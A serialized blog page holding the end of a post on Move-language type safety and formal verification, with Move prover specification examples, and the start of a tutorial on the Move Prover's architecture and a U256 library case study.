MINIMUM_LIQUIDITY;\n}\n",[8010],{"type":24,"tag":32,"props":8011,"children":8012},{"__ignoreMap":7},[8013,8030,8053],{"type":24,"tag":83,"props":8014,"children":8015},{"class":85,"line":86},[8016,8021,8026],{"type":24,"tag":83,"props":8017,"children":8018},{"style":137},[8019],{"type":29,"value":8020},"spec",{"type":24,"tag":83,"props":8022,"children":8023},{"style":3163},[8024],{"type":29,"value":8025}," PoolState",{"type":24,"tag":83,"props":8027,"children":8028},{"style":107},[8029],{"type":29,"value":125},{"type":24,"tag":83,"props":8031,"children":8032},{"class":85,"line":113},[8033,8038,8043,8048],{"type":24,"tag":83,"props":8034,"children":8035},{"style":137},[8036],{"type":29,"value":8037},"    invariant",{"type":24,"tag":83,"props":8039,"children":8040},{"style":137},[8041],{"type":29,"value":8042}," supply",{"type":24,"tag":83,"props":8044,"children":8045},{"style":143},[8046],{"type":29,"value":8047}," >=",{"type":24,"tag":83,"props":8049,"children":8050},{"style":107},[8051],{"type":29,"value":8052}," MINIMUM_LIQUIDITY;\n",{"type":24,"tag":83,"props":8054,"children":8055},{"class":85,"line":128},[8056],{"type":24,"tag":83,"props":8057,"children":8058},{"style":107},[8059],{"type":29,"value":464},{"type":24,"tag":25,"props":8061,"children":8062},{},[8063,8065,8071,8073,8079],{"type":29,"value":8064},"Another useful pattern for the Move prover is ",{"type":24,"tag":32,"props":8066,"children":8068},{"className":8067},[],[8069],{"type":29,"value":8070},"aborts_if",{"type":29,"value":8072},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":24,"tag":32,"props":8074,"children":8076},{"className":8075},[],[8077],{"type":29,"value":8078},"aborts_if false",{"type":29,"value":161},{"type":24,"tag":25,"props":8081,"children":8082},{},[8083],{"type":29,"value":8084},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":24,"tag":73,"props":8086,"children":8088},{"className":2725,"code":8087,"language":2724,"meta":7,"style":7},"  fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n      let amounts_times_coins = vector::empty\u003Cu128>();\n      let i = 0;\n      let n_coins = vector::length(&input);\n      while ({\n          spec {\n              invariant len(amounts_times_coins) == i;\n              invariant i \u003C= n_coins;\n              invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n          };\n          (i \u003C n_coins)\n      }) {\n          vector::push_back(\n              &mut amounts_times_coins,\n              (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n          );\n          i = i + 1;\n      };\n      spec {\n          assert i == n_coins;\n          assert len(input) == n_coins;\n      };\n      amounts_times_coins\n  }\n  spec multiply_vec_by_n_coins {\n      pragma opaque;\n      aborts_if false;\n      ensures len(result) == len(input);\n      ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n  }\n",[8089],{"type":24,"tag":32,"props":8090,"children":8091},{"__ignoreMap":7},[8092,8156,8198,8221,8265,8278,8290,8329,8352,8439,8447,8472,8480,8501,8521,8621,8629,8658,8666,8678,8702,8737,8744,8752,8759,8774,8790,8808,8853,8959],{"type":24,"tag":83,"props":8093,"children":8094},{"class":85,"line":86},[8095,8099,8104,8108,8113,8117,8122,8126,8130,8135,8139,8143,8147,8152],{"type":24,"tag":83,"props":8096,"children":8097},{"style":137},[8098],{"type":29,"value":6316},{"type":24,"tag":83,"props":8100,"children":8101},{"style":101},[8102],{"type":29,"value":8103}," multiply_vec_by_n_coins",{"type":24,"tag":83,"props":8105,"children":8106},{"style":107},[8107],{"type":29,"value":558},{"type":24,"tag":83,"props":8109,"children":8110},{"style":137},[8111],{"type":29,"value":8112},"input",{"type":24,"tag":83,"props":8114,"children":8115},{"style":143},[8116],{"type":29,"value":195},{"type":24,"tag":83,"props":8118,"children":8119},{"style":137},[8120],{"type":29,"value":8121}," vector",{"type":24,"tag":83,"props":8123,"children":8124},{"style":107},[8125],{"type":29,"value":5552},{"type":24,"tag":83,"props":8127,"children":8128},{"style":3163},[8129],{"type":29,"value":7789},{"type":24,"tag":83,"props":8131,"children":8132},{"style":107},[8133],{"type":29,"value":8134},">)",{"type":24,"tag":83,"props":8136,"children":8137},{"style":143},[8138],{"type":29,"value":195},{"type":24,"tag":83,"props":8140,"children":8141},{"style":137},[8142],{"type":29,"value":8121},{"type":24,"tag":83,"props":8144,"children":8145},{"style":107},[8146],{"type":29,"value":5552},{"type":24,"tag":83,"props":8148,"children":8149},{"style":3163},[8150],{"type":29,"value":8151},"u128",{"type":24,"tag":83,"props":8153,"children":8154},{"style":107},[8155],{"type":29,"value":7028},{"type":24,"tag":83,"props":8157,"children":8158},{"class":85,"line":113},[8159,8163,8168,8172,8176,8180,8185,8189,8193],{"type":24,"tag":83,"props":8160,"children":8161},{"style":90},[8162],{"type":29,"value":1481},{"type":24,"tag":83,"props":8164,"children":8165},{"style":137},[8166],{"type":29,"value":8167}," amounts_times_coins",{"type":24,"tag":83,"props":8169,"children":8170},{"style":143},[8171],{"type":29,"value":146},{"type":24,"tag":83,"props":8173,"children":8174},{"style":107},[8175],{"type":29,"value":8121},{"type":24,"tag":83,"props":8177,"children":8178},{"style":143},[8179],{"type":29,"value":3226},{"type":24,"tag":83,"props":8181,"children":8182},{"style":137},[8183],{"type":29,"value":8184},"empty",{"type":24,"tag":83,"props":8186,"children":8187},{"style":107},[8188],{"type":29,"value":5552},{"type":24,"tag":83,"props":8190,"children":8191},{"style":3163},[8192],{"type":29,"value":8151},{"type":24,"tag":83,"props":8194,"children":8195},{"style":107},[8196],{"type":29,"value":8197},">();\n",{"type":24,"tag":83,"props":8199,"children":8200},{"class":85,"line":128},[8201,8205,8209,8213,8217],{"type":24,"tag":83,"props":8202,"children":8203},{"style":90},[8204],{"type":29,"value":1481},{"type":24,"tag":83,"props":8206,"children":8207},{"style":137},[8208],{"type":29,"value":3142},{"type":24,"tag":83,"props":8210,"children":8211},{"style":143},[8212],{"type":29,"value":146},{"type":24,"tag":83,"props":8214,"children":8215},{"style":245},[8216],{"type":29,"value":248},{"type":24,"tag":83,"props":8218,"children":8219},{"style":107},[8220],{"type":29,"value":321},{"type":24,"tag":83,"props":8222,"children":8223},{"class":85,"line":183},[8224,8228,8233,8237,8241,8245,8249,8253,8257,8261],{"type":24,"tag":83,"props":8225,"children":8226},{"style":90},[8227],{"type":29,"value":1481},{"type":24,"tag":83,"props":8229,"children":8230},{"style":137},[8231],{"type":29,"value":8232}," n_coins",{"type":24,"tag":83,"props":8234,"children":8235},{"style":143},[8236],{"type":29,"value":146},{"type":24,"tag":83,"props":8238,"children":8239},{"style":107},[8240],{"type":29,"value":8121},{"type":24,"tag":83,"props":8242,"children":8243},{"style":143},[8244],{"type":29,"value":3226},{"type":24,"tag":83,"props":8246,"children":8247},{"style":101},[8248],{"type":29,"value":237},{"type":24,"tag":83,"props":8250,"children":8251},{"style":107},[8252],{"type":29,"value":558},{"type":24,"tag":83,"props":8254,"children":8255},{"style":143},[8256],{"type":29,"value":2853},{"type":24,"tag":83,"props":8258,"children":8259},{"style":137},[8260],{"type":29,"value":8112},{"type":24,"tag":83,"props":8262,"children":8263},{"style":107},[8264],{"type":29,"value":581},{"type":24,"tag":83,"props":8266,"children":8267},{"class":85,"line":203},[8268,8273],{"type":24,"tag":83,"props":8269,"children":8270},{"style":117},[8271],{"type":29,"value":8272},"      while",{"type":24,"tag":83,"props":8274,"children":8275},{"style":107},[8276],{"type":29,"value":8277}," ({\n",{"type":24,"tag":83,"props":8279,"children":8280},{"class":85,"line":212},[8281,8286],{"type":24,"tag":83,"props":8282,"children":8283},{"style":137},[8284],{"type":29,"value":8285},"          spec",{"type":24,"tag":83,"props":8287,"children":8288},{"style":107},[8289],{"type":29,"value":125},{"type":24,"tag":83,"props":8291,"children":8292},{"class":85,"line":256},[8293,8298,8303,8307,8312,8316,8321,8325],{"type":24,"tag":83,"props":8294,"children":8295},{"style":137},[8296],{"type":29,"value":8297},"              invariant",{"type":24,"tag":83,"props":8299,"children":8300},{"style":101},[8301],{"type":29,"value":8302}," len",{"type":24,"tag":83,"props":8304,"children":8305},{"style":107},[8306],{"type":29,"value":558},{"type":24,"tag":83,"props":8308,"children":8309},{"style":137},[8310],{"type":29,"value":8311},"amounts_times_coins",{"type":24,"tag":83,"props":8313,"children":8314},{"style":107},[8315],{"type":29,"value":633},{"type":24,"tag":83,"props":8317,"children":8318},{"style":143},[8319],{"type":29,"value":8320},"==",{"type":24,"tag":83,"props":8322,"children":8323},{"style":137},[8324],{"type":29,"value":3142},{"type":24,"tag":83,"props":8326,"children":8327},{"style":107},[8328],{"type":29,"value":321},{"type":24,"tag":83,"props":8330,"children":8331},{"class":85,"line":270},[8332,8336,8340,8344,8348],{"type":24,"tag":83,"props":8333,"children":8334},{"style":137},[8335],{"type":29,"value":8297},{"type":24,"tag":83,"props":8337,"children":8338},{"style":137},[8339],{"type":29,"value":3142},{"type":24,"tag":83,"props":8341,"children":8342},{"style":143},[8343],{"type":29,"value":7942},{"type":24,"tag":83,"props":8345,"children":8346},{"style":137},[8347],{"type":29,"value":8232},{"type":24,"tag":83,"props":8349,"children":8350},{"style":107},[8351],{"type":29,"value":321},{"type":24,"tag":83,"props":8353,"children":8354},{"class":85,"line":302},[8355,8359,8364,8369,8373,8377,8381,8385,8389,8393,8397,8402,8406,8410,8415,8419,8423,8427,8431,8435],{"type":24,"tag":83,"props":8356,"children":8357},{"style":137},[8358],{"type":29,"value":8297},{"type":24,"tag":83,"props":8360,"children":8361},{"style":137},[8362],{"type":29,"value":8363}," forall",{"type":24,"tag":83,"props":8365,"children":8366},{"style":137},[8367],{"type":29,"value":8368}," j",{"type":24,"tag":83,"props":8370,"children":8371},{"style":90},[8372],{"type":29,"value":2787},{"type":24,"tag":83,"props":8374,"children":8375},{"style":245},[8376],{"type":29,"value":248},{"type":24,"tag":83,"props":8378,"children":8379},{"style":143},[8380],{"type":29,"value":2796},{"type":24,"tag":83,"props":8382,"children":8383},{"style":137},[8384],{"type":29,"value":3482},{"type":24,"tag":83,"props":8386,"children":8387},{"style":143},[8388],{"type":29,"value":195},{"type":24,"tag":83,"props":8390,"children":8391},{"style":137},[8392],{"type":29,"value":8167},{"type":24,"tag":83,"props":8394,"children":8395},{"style":107},[8396],{"type":29,"value":1161},{"type":24,"tag":83,"props":8398,"children":8399},{"style":137},[8400],{"type":29,"value":8401},"j",{"type":24,"tag":83,"props":8403,"children":8404},{"style":107},[8405],{"type":29,"value":1270},{"type":24,"tag":83,"props":8407,"children":8408},{"style":143},[8409],{"type":29,"value":8320},{"type":24,"tag":83,"props":8411,"children":8412},{"style":137},[8413],{"type":29,"value":8414}," input",{"type":24,"tag":83,"props":8416,"children":8417},{"style":107},[8418],{"type":29,"value":1161},{"type":24,"tag":83,"props":8420,"children":8421},{"style":137},[8422],{"type":29,"value":8401},{"type":24,"tag":83,"props":8424,"children":8425},{"style":107},[8426],{"type":29,"value":1270},{"type":24,"tag":83,"props":8428,"children":8429},{"style":143},[8430],{"type":29,"value":4315},{"type":24,"tag":83,"props":8432,"children":8433},{"style":137},[8434],{"type":29,"value":8232},{"type":24,"tag":83,"props":8436,"children":8437},{"style":107},[8438],{"type":29,"value":321},{"type":24,"tag":83,"props":8440,"children":8441},{"class":85,"line":324},[8442],{"type":24,"tag":83,"props":8443,"children":8444},{"style":107},[8445],{"type":29,"value":8446},"          };\n",{"type":24,"tag":83,"props":8448,"children":8449},{"class":85,"line":345},[8450,8455,8459,8464,8468],{"type":24,"tag":83,"props":8451,"children":8452},{"style":107},[8453],{"type":29,"value":8454},"          (",{"type":24,"tag":83,"props":8456,"children":8457},{"style":137},[8458],{"type":29,"value":3482},{"type":24,"tag":83,"props":8460,"children":8461},{"style":143},[8462],{"type":29,"value":8463}," \u003C",{"type":24,"tag":83,"props":8465,"children":8466},{"style":137},[8467],{"type":29,"value":8232},{"type":24,"tag":83,"props":8469,"children":8470},{"style":107},[8471],{"type":29,"value":2905},{"type":24,"tag":83,"props":8473,"children":8474},{"class":85,"line":358},[8475],{"type":24,"tag":83,"props":8476,"children":8477},{"style":107},[8478],{"type":29,"value":8479},"      }) {\n",{"type":24,"tag":83,"props":8481,"children":8482},{"class":85,"line":367},[8483,8488,8492,8497],{"type":24,"tag":83,"props":8484,"children":8485},{"style":107},[8486],{"type":29,"value":8487},"          vector",{"type":24,"tag":83,"props":8489,"children":8490},{"style":143},[8491],{"type":29,"value":3226},{"type":24,"tag":83,"props":8493,"children":8494},{"style":101},[8495],{"type":29,"value":8496},"push_back",{"type":24,"tag":83,"props":8498,"children":8499},{"style":107},[8500],{"type":29,"value":3208},{"type":24,"tag":83,"props":8502,"children":8503},{"class":85,"line":406},[8504,8509,8513,8517],{"type":24,"tag":83,"props":8505,"children":8506},{"style":143},[8507],{"type":29,"value":8508},"              &",{"type":24,"tag":83,"props":8510,"children":8511},{"style":90},[8512],{"type":29,"value":3468},{"type":24,"tag":83,"props":8514,"children":8515},{"style":137},[8516],{"type":29,"value":8167},{"type":24,"tag":83,"props":8518,"children":8519},{"style":107},[8520],{"type":29,"value":989},{"type":24,"tag":83,"props":8522,"children":8523},{"class":85,"line":427},[8524,8529,8533,8538,8542,8547,8551,8555,8559,8564,8568,8573,8577,8582,8587,8592,8596,8600,8604,8609,8613,8617],{"type":24,"tag":83,"props":8525,"children":8526},{"style":107},[8527],{"type":29,"value":8528},"              (",{"type":24,"tag":83,"props":8530,"children":8531},{"style":143},[8532],{"type":29,"value":4315},{"type":24,"tag":83,"props":8534,"children":8535},{"style":107},[8536],{"type":29,"value":8537},"vector",{"type":24,"tag":83,"props":8539,"children":8540},{"style":143},[8541],{"type":29,"value":3226},{"type":24,"tag":83,"props":8543,"children":8544},{"style":101},[8545],{"type":29,"value":8546},"borrow",{"type":24,"tag":83,"props":8548,"children":8549},{"style":107},[8550],{"type":29,"value":558},{"type":24,"tag":83,"props":8552,"children":8553},{"style":143},[8554],{"type":29,"value":2853},{"type":24,"tag":83,"props":8556,"children":8557},{"style":137},[8558],{"type":29,"value":8112},{"type":24,"tag":83,"props":8560,"children":8561},{"style":107},[8562],{"type":29,"value":8563},", (",{"type":24,"tag":83,"props":8565,"children":8566},{"style":137},[8567],{"type":29,"value":3482},{"type":24,"tag":83,"props":8569,"children":8570},{"style":90},[8571],{"type":29,"value":8572}," as",{"type":24,"tag":83,"props":8574,"children":8575},{"style":3163},[8576],{"type":29,"value":5606},{"type":24,"tag":83,"props":8578,"children":8579},{"style":107},[8580],{"type":29,"value":8581},")) ",{"type":24,"tag":83,"props":8583,"children":8584},{"style":90},[8585],{"type":29,"value":8586},"as",{"type":24,"tag":83,"props":8588,"children":8589},{"style":3163},[8590],{"type":29,"value":8591}," u128",{"type":24,"tag":83,"props":8593,"children":8594},{"style":107},[8595],{"type":29,"value":633},{"type":24,"tag":83,"props":8597,"children":8598},{"style":143},[8599],{"type":29,"value":4315},{"type":24,"tag":83,"props":8601,"children":8602},{"style":107},[8603],{"type":29,"value":223},{"type":24,"tag":83,"props":8605,"children":8606},{"style":137},[8607],{"type":29,"value":8608},"n_coins",{"type":24,"tag":83,"props":8610,"children":8611},{"style":90},[8612],{"type":29,"value":8572},{"type":24,"tag":83,"props":8614,"children":8615},{"style":3163},[8616],{"type":29,"value":8591},{"type":24,"tag":83,"props":8618,"children":8619},{"style":107},[8620],{"type":29,"value":2905},{"type":24,"tag":83,"props":8622,"children":8623},{"class":85,"line":440},[8624],{"type":24,"tag":83,"props":8625,"children":8626},{"style":107},[8627],{"type":29,"value":8628},"          );\n",{"type":24,"tag":83,"props":8630,"children":8631},{"class":85,"line":449},[8632,8637,8641,8645,8650,8654],{"type":24,"tag":83,"props":8633,"children":8634},{"style":137},[8635],{"type":29,"value":8636},"          i",{"type":24,"tag":83,"props":8638,"children":8639},{"style":143},[8640],{"type":29,"value":146},{"type":24,"tag":83,"props":8642,"children":8643},{"style":137},[8644],{"type":29,"value":3142},{"type":24,"tag":83,"props":8646,"children":8647},{"style":143},[8648],{"type":29,"value":8649}," +",{"type":24,"tag":83,"props":8651,"children":8652},{"style":245},[8653],{"type":29,"value":295},{"type":24,"tag":83,"props":8655,"children":8656},{"style":107},[8657],{"type":29,"value":321},{"type":24,"tag":83,"props":8659,"children":8660},{"class":85,"line":458},[8661],{"type":24,"tag":83,"props":8662,"children":8663},{"style":107},[8664],{"type":29,"value":8665},"      };\n",{"type":24,"tag":83,"props":8667,"children":8668},{"class":85,"line":1065},[8669,8674],{"type":24,"tag":83,"props":8670,"children":8671},{"style":137},[8672],{"type":29,"value":8673},"      spec",{"type":24,"tag":83,"props":8675,"children":8676},{"style":107},[8677],{"type":29,"value":125},{"type":24,"tag":83,"props":8679,"children":8680},{"class":85,"line":1668},[8681,8686,8690,8694,8698],{"type":24,"tag":83,"props":8682,"children":8683},{"style":137},[8684],{"type":29,"value":8685},"          assert",{"type":24,"tag":83,"props":8687,"children":8688},{"style":137},[8689],{"type":29,"value":3142},{"type":24,"tag":83,"props":8691,"children":8692},{"style":143},[8693],{"type":29,"value":3028},{"type":24,"tag":83,"props":8695,"children":8696},{"style":137},[8697],{"type":29,"value":8232},{"type":24,"tag":83,"props":8699,"children":8700},{"style":107},[8701],{"type":29,"value":321},{"type":24,"tag":83,"props":8703,"children":8704},{"class":85,"line":1713},[8705,8709,8713,8717,8721,8725,8729,8733],{"type":24,"tag":83,"props":8706,"children":8707},{"style":137},[8708],{"type":29,"value":8685},{"type":24,"tag":83,"props":8710,"children":8711},{"style":101},[8712],{"type":29,"value":8302},{"type":24,"tag":83,"props":8714,"children":8715},{"style":107},[8716],{"type":29,"value":558},{"type":24,"tag":83,"props":8718,"children":8719},{"style":137},[8720],{"type":29,"value":8112},{"type":24,"tag":83,"props":8722,"children":8723},{"style":107},[8724],{"type":29,"value":633},{"type":24,"tag":83,"props":8726,"children":8727},{"style":143},[8728],{"type":29,"value":8320},{"type":24,"tag":83,"props":8730,"children":8731},{"style":137},[8732],{"type":29,"value":8232},{"type":24,"tag":83,"props":8734,"children":8735},{"style":107},[8736],{"type":29,"value":321},{"type":24,"tag":83,"props":8738,"children":8739},{"class":85,"line":1730},[8740],{"type":24,"tag":83,"props":8741,"children":8742},{"style":107},[8743],{"type":29,"value":8665},{"type":24,"tag":83,"props":8745,"children":8746},{"class":85,"line":1770},[8747],{"type":24,"tag":83,"props":8748,"children":8749},{"style":137},[8750],{"type":29,"value":8751},"      amounts_times_coins\n",{"type":24,"tag":83,"props":8753,"children":8754},{"class":85,"line":1778},[8755],{"type":24,"tag":83,"props":8756,"children":8757},{"style":107},[8758],{"type":29,"value":455},{"type":24,"tag":83,"props":8760,"children":8761},{"class":85,"line":1803},[8762,8766,8770],{"type":24,"tag":83,"props":8763,"children":8764},{"style":137},[8765],{"type":29,"value":7891},{"type":24,"tag":83,"props":8767,"children":8768},{"style":137},[8769],{"type":29,"value":8103},{"type":24,"tag":83,"props":8771,"children":8772},{"style":107},[8773],{"type":29,"value":125},{"type":24,"tag":83,"props":8775,"children":8776},{"class":85,"line":1811},[8777,8781,8786],{"type":24,"tag":83,"props":8778,"children":8779},{"style":137},[8780],{"type":29,"value":7907},{"type":24,"tag":83,"props":8782,"children":8783},{"style":137},[8784],{"type":29,"value":8785}," opaque",{"type":24,"tag":83,"props":8787,"children":8788},{"style":107},[8789],{"type":29,"value":321},{"type":24,"tag":83,"props":8791,"children":8793},{"class":85,"line":8792},27,[8794,8799,8804],{"type":24,"tag":83,"props":8795,"children":8796},{"style":137},[8797],{"type":29,"value":8798},"      aborts_if",{"type":24,"tag":83,"props":8800,"children":8801},{"style":90},[8802],{"type":29,"value":8803}," false",{"type":24,"tag":83,"props":8805,"children":8806},{"style":107},[8807],{"type":29,"value":321},{"type":24,"tag":83,"props":8809,"children":8811},{"class":85,"line":8810},28,[8812,8816,8820,8824,8829,8833,8837,8841,8845,8849],{"type":24,"tag":83,"props":8813,"children":8814},{"style":137},[8815],{"type":29,"value":7932},{"type":24,"tag":83,"props":8817,"children":8818},{"style":101},[8819],{"type":29,"value":8302},{"type":24,"tag":83,"props":8821,"children":8822},{"style":107},[8823],{"type":29,"value":558},{"type":24,"tag":83,"props":8825,"children":8826},{"style":137},[8827],{"type":29,"value":8828},"result",{"type":24,"tag":83,"props":8830,"children":8831},{"style":107},[8832],{"type":29,"value":633},{"type":24,"tag":83,"props":8834,"children":8835},{"style":143},[8836],{"type":29,"value":8320},{"type":24,"tag":83,"props":8838,"children":8839},{"style":101},[8840],{"type":29,"value":8302},{"type":24,"tag":83,"props":8842,"children":8843},{"style":107},[8844],{"type":29,"value":558},{"type":24,"tag":83,"props":8846,"children":8847},{"style":137},[8848],{"type":29,"value":8112},{"type":24,"tag":83,"props":8850,"children":8851},{"style":107},[8852],{"type":29,"value":581},{"type":24,"tag":83,"props":8854,"children":8856},{"class":85,"line":8855},29,[8857,8861,8865,8869,8873,8877,8881,8886,8890,8894,8898,8902,8907,8911,8915,8919,8923,8927,8931,8935,8939,8943,8947,8951,8955],{"type":24,"tag":83,"props":8858,"children":8859},{"style":137},[8860],{"type":29,"value":7932},{"type":24,"tag":83,"props":8862,"children":8863},{"style":137},[8864],{"type":29,"value":8363},{"type":24,"tag":83,"props":8866,"children":8867},{"style":137},[8868],{"type":29,"value":8368},{"type":24,"tag":83,"props":8870,"children":8871},{"style":90},[8872],{"type":29,"value":2787},{"type":24,"tag":83,"props":8874,"children":8875},{"style":245},[8876],{"type":29,"value":248},{"type":24,"tag":83,"props":8878,"children":8879},{"style":143},[8880],{"type":29,"value":2796},{"type":24,"tag":83,"props":8882,"children":8883},{"style":101},[8884],{"type":29,"value":8885},"len",{"type":24,"tag":83,"props":8887,"children":8888},{"style":107},[8889],{"type":29,"value":558},{"type":24,"tag":83,"props":8891,"children":8892},{"style":137},[8893],{"type":29,"value":8112},{"type":24,"tag":83,"props":8895,"children":8896},{"style":107},[8897],{"type":29,"value":2872},{"type":24,"tag":83,"props":8899,"children":8900},{"style":143},[8901],{"type":29,"value":195},{"type":24,"tag":83,"props":8903,"children":8904},{"style":137},[8905],{"type":29,"value":8906}," result",{"type":24,"tag":83,"props":8908,"children":8909},{"style":107},[8910],{"type":29,"value":1161},{"type":24,"tag":83,"props":8912,"children":8913},{"style":137},[8914],{"type":29,"value":8401},{"type":24,"tag":83,"props":8916,"children":8917},{"style":107},[8918],{"type":29,"value":1270},{"type":24,"tag":83,"props":8920,"children":8921},{"style":143},[8922],{"type":29,"value":8320},{"type":24,"tag":83,"props":8924,"children":8925},{"style":137},[8926],{"type":29,"value":8414},{"type":24,"tag":83,"props":8928,"children":8929},{"style":107},[8930],{"type":29,"value":1161},{"type":24,"tag":83,"props":8932,"children":8933},{"style":137},[8934],{"type":29,"value":8401},{"type":24,"tag":83,"props":8936,"children":8937},{"style":107},[8938],{"type":29,"value":1270},{"type":24,"tag":83,"props":8940,"children":8941},{"style":143},[8942],{"type":29,"value":4315},{"type":24,"tag":83,"props":8944,"children":8945},{"style":101},[8946],{"type":29,"value":8302},{"type":24,"tag":83,"props":8948,"children":8949},{"style":107},[8950],{"type":29,"value":558},{"type":24,"tag":83,"props":8952,"children":8953},{"style":137},[8954],{"type":29,"value":8112},{"type":24,"tag":83,"props":8956,"children":8957},{"style":107},[8958],{"type":29,"value":581},{"type":24,"tag":83,"props":8960,"children":8962},{"class":85,"line":8961},30,[8963],{"type":24,"tag":83,"props":8964,"children":8965},{"style":107},[8966],{"type":29,"value":455},{"type":24,"tag":51,"props":8968,"children":8969},{"id":5055},[8970],{"type":29,"value":5058},{"type":24,"tag":25,"props":8972,"children":8973},{},[8974],{"type":29,"value":8975},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":24,"tag":25,"props":8977,"children":8978},{},[8979],{"type":29,"value":8980},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":24,"tag":25,"props":8982,"children":8983},{},[8984,8986,8993],{"type":29,"value":8985},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":24,"tag":2033,"props":8987,"children":8990},{"href":8988,"rel":8989},"https://twitter.com/notdeghost/",[2037],[8991],{"type":29,"value":8992},"@notdeghost",{"type":29,"value":161},{"type":24,"tag":2584,"props":8995,"children":8996},{},[8997],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":8999},[9000,9001,9002],{"id":5504,"depth":113,"text":5507},{"id":7544,"depth":113,"text":7547},{"id":5055,"depth":113,"text":5058},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":9007,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":9008,"description":9009,"author":5465,"image":9010,"date":9013,"isFeatured":16,"tags":9014,"onBlogPage":16,"body":9017,"_type":2606,"_id":13358,"_source":2608,"_file":13359,"_stem":13360,"_extension":2611},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.",{"src":9011,"height":9012,"width":5469},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[9015,9016],"move","tutorial",{"type":21,"children":9018,"toc":13344},[9019,9038,9050,9056,9061,9066,9071,9080,9085,9099,9104,9110,9115,9129,9134,9271,9284,9289,9310,9343,9354,9359,9364,9374,9387,9730,9744,9762,9807,9820,9839,10011,10016,10021,10046,10051,10653,10665,10677,10682,10696,10701,10714,10754,10759,10791,10796,10801,10814,11199,11226,11433,11438,11450,11686,11691,11699,11718,12065,12070,12227,12232,12239,12253,12259,12264,12269,12275,12288,12519,12525,12530,12550,12819,12824,12830,12842,12847,12861,12867,12903,13003,13024,13030,13035,13040,13292,13297,13315,13319,13324,13329,13340],{"type":24,"tag":25,"props":9020,"children":9021},{},[9022,9024,9029,9031,9036],{"type":29,"value":9023},"Formal verification -- a powerful tool for ",{"type":24,"tag":2655,"props":9025,"children":9026},{},[9027],{"type":29,"value":9028},"proving",{"type":29,"value":9030}," the correctness of your programs. How does it ",{"type":24,"tag":2655,"props":9032,"children":9033},{},[9034],{"type":29,"value":9035},"actually",{"type":29,"value":9037}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":24,"tag":25,"props":9039,"children":9040},{},[9041,9043,9048],{"type":29,"value":9042},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":24,"tag":2655,"props":9044,"children":9045},{},[9046],{"type":29,"value":9047},"all",{"type":29,"value":9049}," possible inputs.",{"type":24,"tag":51,"props":9051,"children":9053},{"id":9052},"move-prover",[9054],{"type":29,"value":9055},"Move Prover",{"type":24,"tag":25,"props":9057,"children":9058},{},[9059],{"type":29,"value":9060},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":24,"tag":25,"props":9062,"children":9063},{},[9064],{"type":29,"value":9065},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":24,"tag":25,"props":9067,"children":9068},{},[9069],{"type":29,"value":9070},"The architecture of the tool consists of multiple components as illustrated below.",{"type":24,"tag":25,"props":9072,"children":9073},{},[9074],{"type":24,"tag":2510,"props":9075,"children":9079},{"alt":9076,"src":9077,"title":9078},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":24,"tag":25,"props":9081,"children":9082},{},[9083],{"type":29,"value":9084},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":24,"tag":25,"props":9086,"children":9087},{},[9088,9090,9097],{"type":29,"value":9089},"The model is translated into an intermediate language, called ",{"type":24,"tag":2033,"props":9091,"children":9094},{"href":9092,"rel":9093},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[2037],[9095],{"type":29,"value":9096},"Boogie",{"type":29,"value":9098},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":24,"tag":25,"props":9100,"children":9101},{},[9102],{"type":29,"value":9103},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":24,"tag":51,"props":9105,"children":9107},{"id":9106},"move-specification-language",[9108],{"type":29,"value":9109},"Move Specification Language",{"type":24,"tag":25,"props":9111,"children":9112},{},[9113],{"type":29,"value":9114},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":24,"tag":25,"props":9116,"children":9117},{},[9118,9120,9127],{"type":29,"value":9119},"To better understand how to use the MSL, we will use ",{"type":24,"tag":2033,"props":9121,"children":9124},{"href":9122,"rel":9123},"https://github.com/pontem-network/u256",[2037],[9125],{"type":29,"value":9126},"Pontem's U256 library",{"type":29,"value":9128},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":24,"tag":25,"props":9130,"children":9131},{},[9132],{"type":29,"value":9133},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":24,"tag":73,"props":9135,"children":9137},{"code":9136,"language":2724,"meta":7,"className":2725,"style":7},"struct U256 has copy, drop, store {\n    v0: u64,\n    v1: u64,\n    v2: u64,\n    v3: 